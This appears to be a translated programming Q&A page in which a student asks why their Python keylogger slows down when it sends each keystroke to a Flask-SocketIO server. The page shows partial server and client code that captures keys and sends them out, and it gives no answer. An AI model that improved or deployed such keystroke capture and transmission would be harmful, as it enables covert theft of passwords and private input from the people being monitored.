python - 通过 socketIO 发出击键数据会减慢程序的速度
问题描述
让我首先提到我是 Python 新手并使用 Sockets。
我正在使用 Python 作为大学项目构建键盘记录器。每次击键都必须从键盘记录器(客户端)发送到 flask-socketIO 服务器(也在 Python 中)。
问题:
客户端成功连接到服务器并能够传输记录的密钥。但是,程序变得非常缓慢。将记录的击键发送到服务器大约需要 2 秒的处理时间。因此,它无法检测到每次击键,并且在客户端运行时,在目标机器上输入任何内容也会变得非常慢。因此,键盘记录器变得不可用。
这是服务器端的代码片段:
from flask import Flask, render_template
from flask_socketio import SocketIO, emit
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app)
@socketio.on('keylogger')
def print_keys(data):
print(data["keylogged"])
if __name__ == '__main__':
socketio.run(app)
在客户端,我首先连接到服务器:
socketIO = SocketIO('localhost', 5000,
LoggingNamespace)
然后在 on_press 键事件中发送每个击键
def on_press(key):
global keys, count, currentTime
print(key)
keys.append(key)
count += 1
currentTime = time.time()
if count >= 1:
count = 0
socketIO.emit('keylogger', {"keylogged": str(key)})
write_to_file(keys)
keys = []
我已经尝试了一天的时间来解决这个问题,但是由于我缺乏使用套接字的经验,我无法解决这个问题,这让我很烦恼。对此事的任何帮助都将非常有价值。提前致谢!
解决方案
推荐阅读
- c - 如何在数字显示中有效地从 0000 计数到 9999?
- azure-language-understanding - 如果我在多个应用程序中使用 LUIS 应用程序,为什么会丢失端点密钥?
- python - 如何更改 Rstudio 中的默认 python 版本/路径
- ansible - 重新启动组主机上的服务,除了在 playbook 正在运行的主机上
- c++ - constexpr 检查类型
- python - CURL - 在 Python 中写入文件
- javascript - 如何使用 vue-cli-3 设置从我的 webpack 构建中排除目录
- javascript - 如何为选项卡添加onmouseout,以便在鼠标移出时不会显示选项卡内容?
- node.js - 为什么这 2 个 NodeJS / Typescript 导入会给出不同的结果?
- c++ - How to draw graph for a trajectory which goes left and right in x axis?